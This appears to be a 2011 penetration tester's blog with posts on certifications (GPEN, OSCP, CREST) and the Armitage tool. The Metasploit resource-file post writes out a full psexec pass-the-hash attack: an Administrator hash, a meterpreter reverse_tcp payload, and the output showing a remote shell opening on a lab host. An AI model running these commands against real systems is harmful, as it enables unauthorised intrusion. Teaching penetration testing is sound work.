Tuesday
Mar292011

GIAC Certified Penetration Tester

Today I passed the SANS GIAC Certified Penetration Tester exam and thought I would write down a few notes to help people prepare for this exam.

The exam is 4 hours long and consists entirely of multiple choice questions, but unlike other multiple choice exams I have taken, this one does not let you come back to a question later, you can either answer the question or skip it entirely. The other thing with the exam that I have not encountered before is that it is an open book exam, meaning you can take whatever books and notes you want to take with you in to help you in answering the questions.

When I first found out it was multiple choice open book I wondered what the point was but after some research on the internet I soon found out that the exam covers many topics and tools and expects you to have a fairly in-depth knowledge of how they work and why. The practice tests helped me immensely in the preparation, I noted the subject of the question and made notes to get further information later on for anything I was not immediately familiar with. Further to this, experience in manual Penetration Testing and Systems Administration helped a whole lot too. Getting hands on with the tools covered in the exam is also important, for Metasploit there is the free “Metasploit Unleashed” course I have mentioned before and for the rest you can google, read man pages and search the Microsoft tech net archives.

I wont list all the software here on my site as there are lists out there on the internet and the practice exams will cover all of them too, it is worth taking a practice exam as early as possible in to your preparation, the report generated will give you a rating out of 5 in each area of focus, this will help you study more effectively for the actual exam.

So in a nutshell, if you are planning on sitting the GPEN exam I would suggest you:

  1. Take your first practice exam as soon as possible
  2. Note down the subject of each question as you go along (you have plenty of time)
  3. Review your report and identify the gaps in your knowledge needed to pass the exam
  4. Run through your notes and ensure you are comfortable and have extensive notes on the software in your list
  5. Sit your second practice exam using your notes / books as you will do in the real exam
  6. Study up on any remaining weak areas and improve your notes to take with you into the exam
  7. Get plenty of sleep or caffeine and go pass the real exam =]

At the time I sat the exam SANS had some technical difficulties and the exam ended over an hour early, within four SANS had resolved this and I was able to complete the exam and score a pretty reasonable 93%.

I would love to attend some of the SANS training courses like SEC660 "Advanced Penetration Testing, Exploits, and Ethical Hacking" and SEC542 "Web App Penetration Testing and Ethical Hacking" but at the moment these are out of my price range and will have to stay on my "Someday Maybe" list.

Monday
Mar212011

Metasploit resource files

Metasploit has a handy feature that allows you to load settings from a file, this allows us to create easily repeatable configurations. I like to crate a directory structure when pen testing keeping notes and tool output in plain text files and find it useful to create and store the metasploit config files along with these.

The directory structure would look something like this:

Within the 230_psexec.rc file I would enter the commands I would issue in metasploit to recreate the exploit used against a specific vulnerability (in this case, reuse of passwords across various targets).

The contents of 230_psexec.rc looks like this:

use exploit windows/smb/psexec
set PAYLOAD windows/meterpreter/reverse_tcp
setg LHOST 192.168.1.182
set RHOST 192.168.1.230
set SMBPass aad3b435b51404eeaad3b435b51404ee:49e02f1338d4b2bf743beeb97aee524d
set SMBUser Administrator
exploit

 

We can either start metasploit and run these commands right away using the command:

msfconsole -r /root/2011-03-21_acme/192.168/1/230/230_psexec.rc

or use the command ‘resource’ within msfconsole like this:

msf> resource /root/2011-03-21_acme/192.168/1/230/230_psexec.rc

 

Our output would look like this:

root@bt:~# msfconsole -r /root/2011-03-21_acme/192.168/1/230/230_psexec.rc

                __.                       .__.        .__. __.
  _____   _____/  |______    ____________ |  |   ____ |__|/  |_
 /     \_/ __ \   __\__  \  /  ___/\____ \|  |  /  _ \|  \   __\
|  Y Y  \  ___/|  |  / __ \_\___ \ |  |_> >  |_(  <_> )  ||  |
|__|_|  /\___  >__| (____  /____  >|   __/|____/\____/|__||__|
      \/     \/          \/     \/ |__|


       =[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 653 exploits - 343 auxiliary
+ -- --=[ 216 payloads - 27 encoders - 8 nops
       =[ svn r11970 updated 5 days ago (2011.03.15)

resource (/root/2011-03-21_acme/192.168/1/230/230_psexec.rc)> use windows/smb/psexec
resource (/root/2011-03-21_acme/192.168/1/230/230_psexec.rc)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (/root/2011-03-21_acme/192.168/1/230/230_psexec.rc)> setg LHOST 192.168.1.182
LHOST => 192.168.1.182
resource (/root/2011-03-21_acme/192.168/1/230/230_psexec.rc)> set RHOST 192.168.1.230
RHOST => 192.168.1.230
resource (/root/2011-03-21_acme/192.168/1/230/230_psexec.rc)> set SMBPass aad3b435b51404eeaad3b435b51404ee:49e02f1338d4b2bf743beeb97aee524d
SMBPass => aad3b435b51404eeaad3b435b51404ee:49e02f1338d4b2bf743beeb97aee524d
resource (/root/2011-03-21_acme/192.168/1/230/230_psexec.rc)> set SMBUser Administrator
SMBUser => Administrator
resource (/root/2011-03-21_acme/192.168/1/230/230_psexec.rc)> exploit
[*] Started reverse handler on 192.168.1.182:4444
[*] Connecting to the server...
[*] Authenticating to 192.168.1.230:445|WORKGROUP as user 'Administrator'...
[*] Uploading payload...
[*] Created \TwLkuthH.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.230[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.230[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (dcZDWuwa - "MluCkfMYLQRNHpqECJiJY")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Sending stage (749056 bytes) to 192.168.1.230
[*] Closing service handle...
[*] Deleting \TwLkuthH.exe...
[*] Meterpreter session 1 opened (192.168.1.182:4444 -> 192.168.1.230:49305) at Sun Mar 20 23:45:20 +0000 2011

meterpreter >

You can also now add ruby scripts in to the .rc files, I am yet to play around with these but can imagine some very useful scripts, I will write more once I have tried them out.
Tuesday
Nov302010

Armitage - fast and easy hacking

Armitage - Fast and Easy Hacking

Metasploit is a fantastic and huge framework and things just got better with the addition of Armitage, a graphical attack management tool. Armitage will visualise targets, recommend exploits and give you direct access to the advanced features of the metasploit framework.

If you use metasploit it is well worth downloading and having a look at armitage. It is not a free version of metasploit pro, but it is an easy way to access many of the metasploit frameworks features.

The Metasploit Unleashed course from Offensive Security has been updated with a section on armitage, if you have not done the MSFU course yet you should check it out.

You can download armitage from fastandeasyhacking.com, also see the manual for more information.

Here is a video of Armitage in action.

Thursday
Nov112010

CREST Registered Tester

Since my last update I have not been sitting round idling, I have been offered a new position on a penetration testing team which starts in January and I have set my sights on doing the CREST Registered Tester exam early in 2011. More information including the CREST Technical Syllabus can be found at crest-approved.org.

The CREST exams look interesting with a mix of practical assessment, multiple choice and long form written exam questions. The syllabus looks to be well rounded covering a range of topics from both infrastructure and application testing. The NBSIE have posted some material with suggestions on how to prepare for the exam here.

Interestingly the NBISE (national board of information security examiners) in the US have teamed up with CREST and are piloting the exams in the US. Paul Roberts wrote an article over at threatpost “New Certification Will Set High Bar for IT Security Pros” which is worth a read.

Personally I think a lot more value is gained from a certification that actually tests your hands on skills rather than your ability to retain enough information long enough to pass a written exam.

Thursday
Aug262010

OSCP Certification

Quick update to let anyone who reads this know how I got on…

I sat the exam last week and passed, which I am really pleased about. I did expect it to be harder but it was no walk in the park either, it was well designed and enjoyable. I had the points I needed after 11 hours but carried on for a good while longer, it was good to see the offsec humor present on the target machines.

Really not a whole lot I am allowed to say about the exam but it was good fun and not as painful as I expected after reading some of the experiences others have had.

I am now extending on what I have learned so far and hope to sit the second course from offensive security “Cracking the Perimeter” some time in the not to distant future.